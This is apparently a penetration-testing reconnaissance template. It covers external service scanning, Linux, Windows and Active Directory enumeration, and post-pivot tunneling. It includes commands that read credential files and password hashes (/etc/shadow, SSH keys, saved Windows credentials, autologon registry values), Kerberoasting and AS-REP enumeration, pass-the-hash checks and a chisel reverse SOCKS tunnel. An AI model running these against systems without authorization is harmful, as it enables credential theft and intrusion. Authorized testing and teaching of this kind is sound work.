

Reconnaissance Methodology

Penetration Testing Reference Template

Table of Contents

1. PURPOSE	2
2. EXTERNAL RECONNAISSANCE	2
2.1. PORT AND SERVICE DISCOVERY	2
2.2. DNS	2
2.3. WEB SERVICES	2
2.3.1. <i>Manual Checks</i>	2
2.3.2. <i>Content Discovery</i>	3
2.3.3. <i>CMS and Technology Fingerprinting</i>	3
2.4. SMB AND FILE SHARES	3
2.5. FTP	3
2.6. DATABASE SERVICES (UNAUTHENTICATED CHECKS)	4
2.7. OTHER SERVICES	4
2.8. CREDENTIAL AND CREDENTIAL-DRIVEN RE-ENUMERATION	4
3. INTERNAL RECONNAISSANCE — LINUX	4
3.1. SYSTEM AND USER CONTEXT	4
3.2. FILE SYSTEM — CREDENTIALS AND SENSITIVE FILES	5
3.3. NETWORK AND INTERNAL SERVICES	5
3.4. PROCESS AND JOB MONITORING	5
4. INTERNAL RECONNAISSANCE — WINDOWS	6
4.1. SYSTEM AND USER CONTEXT	6
4.2. FILE SYSTEM — CREDENTIALS AND SENSITIVE FILES	6
4.3. NETWORK AND INTERNAL SERVICES	6
5. INTERNAL RECONNAISSANCE — ACTIVE DIRECTORY	7
5.1. CREDENTIAL VALIDATION	7
5.2. DOMAIN ENUMERATION	7
5.3. BLOODHOUND COLLECTION	7
5.4. AD FEATURE ENUMERATION	8
5.5. SHARE AND FILE ENUMERATION	8
5.6. INTERNAL SUBNET DISCOVERY (POST-PIVOT)	8
6. PRINCIPLES AND TRANSITION CRITERIA	9

1. Purpose

Reconnaissance maps the attack surface before vulnerability analysis begins. The goal is to identify exposed services, enumerate configurations, collect version information, and uncover credentials or structural details that inform attack paths.

This phase is split into two tracks: External Recon, performed before any foothold is obtained, and Internal Recon, performed after access to a host or domain account is established. Each track has Linux, Windows, and Active Directory subdivisions where relevant.

Reconnaissance is iterative. Revisit services and re-enumerate when new credentials, usernames, domain names, or internal routes are discovered.

2. External Reconnaissance

2.1. Port and Service Discovery

Start every engagement with a full TCP port scan and service detection. Save output for reference.

Command	Purpose
<code>nmap -sT -sV -A -O -p- <target> -oN <name>-scan.txt</code>	Full TCP scan with service/OS detection
<code>rustscan -a <target> -- -sV -sC</code>	Fast initial discovery (follow up with nmap)
<code>nmap -sU --top-ports 20 <target></code>	UDP top-ports check
<code>nmap -sU -p 53,161,162,500,1434 <target></code>	Targeted UDP service scan
<code>sudo masscan -p0-65535 <target></code>	Full port scan with masscan

After scanning, enumerate each open service in the order below. Low-hanging fruit first — anonymous access checks before credentialed ones.

2.2. DNS

Command	Purpose
<code>dig @<target> <domain> ANY</code>	All records
<code>dig @<target> <domain> AXFR</code>	Zone transfer attempt
<code>dig @<target> <domain> A / MX / NS / TXT</code>	Specific record types
<code>nslookup <hostname> <target></code>	Forward lookup

Note additional hostnames, subdomains, IP ranges, and mail infrastructure. Add all discovered hostnames to `/etc/hosts`.

2.3. Web Services

2.3.1. Manual Checks

Before running tools, manually inspect the application:

- Page titles, visible content, login/admin interfaces
- robots.txt, sitemap.xml, source code comments
- HTTP response headers (Server, X-Powered-By, Set-Cookie)
- File upload forms, API endpoints, error messages
- CMS indicators, JavaScript framework references

2.3.2. Content Discovery

Command	Purpose
gobuster dir -u http://<target> -w <wordlist> -x php,html,txt	Directory and file brute-forcing
gobuster vhost -u http://<target> -w <subdomains-wordlist> --append-domain	Virtual host / subdomain discovery
feroxbuster -u http://<target> -w <wordlist>	Recursive directory brute-forcing
ffuf -u http://<target>/FUZZ -w <wordlist> -mc all	Flexible fuzzing (dir, param, vhost)

2.3.3. CMS and Technology Fingerprinting

Signal	Tools / Checks
WordPress	wpscan --url <target> -e at,ap,u --disable-tls-checks
Web server version	nikto -h <target>; response headers
Framework	Wappalyzer browser ext; source code; error pages
API surface	Swagger UI, /api/, /graphql, JS source references

2.4. SMB and File Shares

Command	Purpose
smbclient -L //<target> -N	Anonymous share listing
smbclient //<target>/<share> -N	Anonymous share access
nxc smb <target> -u " -p " --shares	NetExec anonymous share enumeration
nxc smb <target> -u 'guest' -p " --shares	NetExec guest share enumeration
enum4linux-ng <target> -A	Full SMB/RPC enumeration
rpcclient -U " <target>	RPC null session (enumdomusers, queryuser)

Focus: readable shares, config/script files, exposed credentials, domain name and policy, usernames.

2.5. FTP

Check	Notes
Anonymous login: ftp <target> (user: anonymous)	Try blank or anonymous password
Directory listing and writeable paths	ls -la after connection
Banner version	Shown on connect; cross-reference CVEs
nxc ftp <target> -u anonymous -p "	NetExec anonymous check

2.6. Database Services (Unauthenticated Checks)

Service / Port	Initial Check
MSSQL (1433/6520)	impacket-mssqlclient <user>:<pass>@<target> -windows-auth; check linked servers with EXEC sp_linkedservers
MySQL / MariaDB (3306)	mysql -h <target> -u root -p (blank pass); nxc mysql <target> -u root -p "
MongoDB (27017)	mongo <target>:27017; show dbs
Redis (6379)	redis-cli -h <target>; INFO; KEYS *
PostgreSQL (5432)	psql -h <target> -U postgres

2.7. Other Services

Service	Command / Focus
SNMP (161 UDP)	onesixtyone -c <community-list> <target>; snmpwalk -v2c -c public <target>
NFS (2049)	showmount -e <target>; mount exported shares if accessible
SMTP (25)	VRFY / EXPN user enumeration; banner version
LDAP (389/636)	ldapsearch -x -H ldap://<target> -b " -s base (unauthenticated base check)
WinRM (5985/5986)	nxc winrm <target> -u <user> -p <pass> (access check when creds available)

2.8. Credential and Credential-Driven Re-enumeration

When credentials are found (default passwords, exposed files, spray hits, or anonymous DB records), immediately re-enumerate:

- Validate across SMB, LDAP, WinRM, MSSQL with nxc
- Re-enumerate shares and LDAP with authenticated context
- Check for email access (OWA, EWS) or VPN portals if in scope
- Attempt password spray only with small, justified keyspace

3. Internal Reconnaissance — Linux

3.1. System and User Context

Command	Purpose
whoami; id; groups	Current user, UID, group memberships
uname -a; cat /etc/os-release	Kernel version and OS details
hostname; cat /etc/hosts	Hostname and local DNS
cat /etc/passwd; cat /etc/shadow (if readable)	User accounts and password hashes
sudo -l	Allowed sudo commands — check immediately
env; printenv	Environment variables, credentials, paths

3.2. File System — Credentials and Sensitive Files

Command	Purpose
find / -name '*.conf' -o -name '*.ini' -o -name '*.env' 2>/dev/null	Configuration files
find / -name 'id_rsa' -o -name '*.key' -o -name '*.pem' 2>/dev/null	SSH keys and certificates
grep -r 'password passwd secret token' /etc /var /opt 2>/dev/null	Credential strings in configs
find / -readable -type f -name '*.db' -o -name '*.sqlite' 2>/dev/null	Local databases
cat ~/.bash_history; cat ~/.zsh_history	Command history
find /home /root /opt /srv /var/www -type f 2>/dev/null	User and application data

3.3. Network and Internal Services

Command	Purpose
ss -tunlp; netstat -tunlp	Listening ports and services
ip a; ip route	Network interfaces and routing
cat /etc/hosts	Locally resolved names and internal IPs
curl http://127.0.0.1:<port>/	Check localhost-bound services
ls -la /var/run/docker.sock; find / -name docker.sock 2>/dev/null	Docker socket exposure
arp -a	ARP cache — other hosts on the network

3.4. Process and Job Monitoring

Tool / Command	Purpose
./pspy64 -pf -i 1000	Watch running processes and cron without root
ps auxf	Current process tree
cat /proc/<pid>/cmdline	Full command line of a specific process
ls -la /proc/<pid>/fd	Open file descriptors (exposed paths, secrets)

4. Internal Reconnaissance — Windows

4.1. System and User Context

Command	Purpose
whoami /all	User, SID, group memberships, privileges
systeminfo	OS build, patches, domain membership
hostname; ipconfig /all	Host identity and network interfaces
Get-ComputerInfo	PowerShell system information
Get-LocalUser; Get-LocalGroup; Get-LocalGroupMember Administrators	Local accounts and admin group
net user; net localgroup administrators	Domain-context user and group info
Get-CimInstance -ClassName win32_quickfixengineering Where-Object { \$_.Description -eq 'Security Update' }	Installed security patches

4.2. File System — Credentials and Sensitive Files

Command	Purpose
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue	KeePass databases
Get-ChildItem -Path C:\Users\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*.ini -File -Recurse -ErrorAction SilentlyContinue	Documents and configs in user profiles
Get-ChildItem -Path C:\xampp,C:\inetpub,C:\Program Files -Include *.config,*.ini,*.env -File -Recurse -ErrorAction SilentlyContinue	Web and application configs
(Get-PSReadion).HistorySavePath; Get-History	PowerShell command history
cmdkey /list	Saved Windows credentials
reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon	AutoLogon credentials in registry

4.3. Network and Internal Services

Command	Purpose
netstat -ano findstr LISTEN	Listening ports with PID
Get-Process <pid>	Identify service from PID
ipconfig /all; route print	Network interfaces, subnets, gateways
Test-NetConnection <IP> -Port <port>	Reachability check
Resolve-DnsName -Name <hostname>	DNS resolution

5. Internal Reconnaissance — Active Directory

5.1. Credential Validation

On obtaining any credential (password, hash, key), immediately validate across all available protocols:

Command	Purpose
<code>nxc smb <dc-ip> -u <user> -p <pass></code>	SMB access check
<code>nxc ldap <dc-ip> -u <user> -p <pass></code>	LDAP access and domain context
<code>nxc winrm <dc-ip> -u <user> -p <pass></code>	WinRM interactive access
<code>nxc mssql <target> -u <user> -p <pass> -windows-auth</code>	MSSQL with Windows auth
<code>nxc smb <dc-ip> -u <user> -H <NTLM-hash></code>	Pass-the-hash check

5.2. Domain Enumeration

Command	Purpose
<code>ldapsearch -x -H ldap://<dc> -D '<user>@<domain>' -w '<pass>' -b 'DC=<d>,DC=<tld>' '(objectClass=user)' sAMAccountName memberOf</code>	User and group memberships
<code>ldapsearch -x -H ldap://<dc> -D '<user>@<domain>' -w '<pass>' -b 'DC=<d>,DC=<tld>' '(objectClass=computer)' sAMAccountName</code>	Computer accounts
<code>net user /domain; net group /domain</code>	Quick domain user/group listing (from domain-joined host)
<code>Get-ADUser -Filter * Select SamAccountName,MemberOf</code>	AD PowerShell user enumeration
<code>Get-ADGroup -Filter * Select Name,Description</code>	AD group enumeration
<code>Get-ADComputer -Filter * Select Name,OperatingSystem</code>	AD computer enumeration
<code>impacket-lookupsid <domain>/Guest@<target> -no-pass -domain-sids 40000</code>	SID-based username enumeration (no creds)

5.3. BloodHound Collection

Command	Purpose
<code>bloodhound-python -u <user> -p <pass> -d <domain> -ns <dc-ip> -c All --zip -gc <dc-fqdn></code>	Full collection from Kali
<code>nxc ldap <dc> -u <user> -p <pass> --bloodhound --collection All --dns-server <dc-ip></code>	NetExec-based collection

5.4. AD Feature Enumeration

Feature	Command
SPN-assigned service accounts	impacket-GetUserSPNs -dc-ip <dc> <domain>/<user>:<pass>
Accounts without pre-authentication	impacket-GetNPUsers -dc-ip <dc> <domain>/<user>; Get-DomainUser -PreauthNotRequired (PowerView)
gMSA accounts and read membership	ldapsearch for msDS-GroupMSAMembership; gMSADumper.py -u <user> -p <pass> -d <domain>
Delegation configuration	impacket-findDelegation <domain>/<user>:<pass> -dc-ip <dc>
ACL assignments on AD objects	Find-InterestingDomainAcl -ResolveGUIDs (PowerView)
Pre-Windows 2000 compatible access group	ldapsearch or Get-ADGroupMember 'Pre-Windows 2000 Compatible Access'
SMB signing state across hosts	nxc smb <subnet>/24 (check Signing field in output)
MSSQL linked server topology	impacket-mssqlclient ...; enum_links; use_link [<server>]; enum_links
Protected accounts (adminCount=1)	ldapsearch -b 'DC=...' '(adminCount=1)' sAMAccountName

5.5. Share and File Enumeration

Command	Purpose
nxc smb <dc> -u <user> -p <pass> --shares	Accessible share listing
smbclient //<dc>/<share> -U '<user>%<pass>'	Interactive share browsing
Find-DomainShare -CheckShareAccess (PowerView)	Enumerate all shares accessible to current user
ls \\<dc>\SYSVOL\<domain>\Policies\	GPO files — may contain credentials
Get-ChildItem \\<server>\<share> -Recurse	Recursive share content listing

5.6. Internal Subnet Discovery (Post-Pivot)

Command	Purpose
1..254 ForEach-Object { \$ip = '192.168.x.\$_'; if (ping -n 1 -w 200 \$ip findstr TTL) { "UP: \$ip" } }	Ping sweep from Windows
for i in \$(seq 1 254); do (ping -c 1 -W 1 10.x.x.\$i &>/dev/null && echo UP: 10.x.x.\$i) & done; wait	Ping sweep from Linux
naabu -p 1-65535 -host <internal-ip>	Fast port scan on discovered host
chisel server --reverse --port <port> (Kali); chisel client <kali>:<port> R:socks (target)	SOCKS tunnel for proxychains
proxychains4 nxc smb <internal-ip>; proxychains4 nmap ...	Scan internal hosts through tunnel

6. Principles and Transition Criteria

Principle	Application
Low-hanging fruit first	Anonymous access, default creds, unauthenticated services before deep enumeration
Iterative	Re-enumerate when new credentials, usernames, or internal routes are discovered
Breadth before depth	Map all exposed services before deep-diving any single one
Document as you go	Record every hostname, username, version, share, path, and credential immediately
Validate credentials immediately	Every found credential is tested across all known protocols before moving on

Transition to vulnerability analysis when: major services are mapped, critical assets (web apps, AD, databases) are enumerated, useful intelligence is documented, and at least one plausible attack path exists.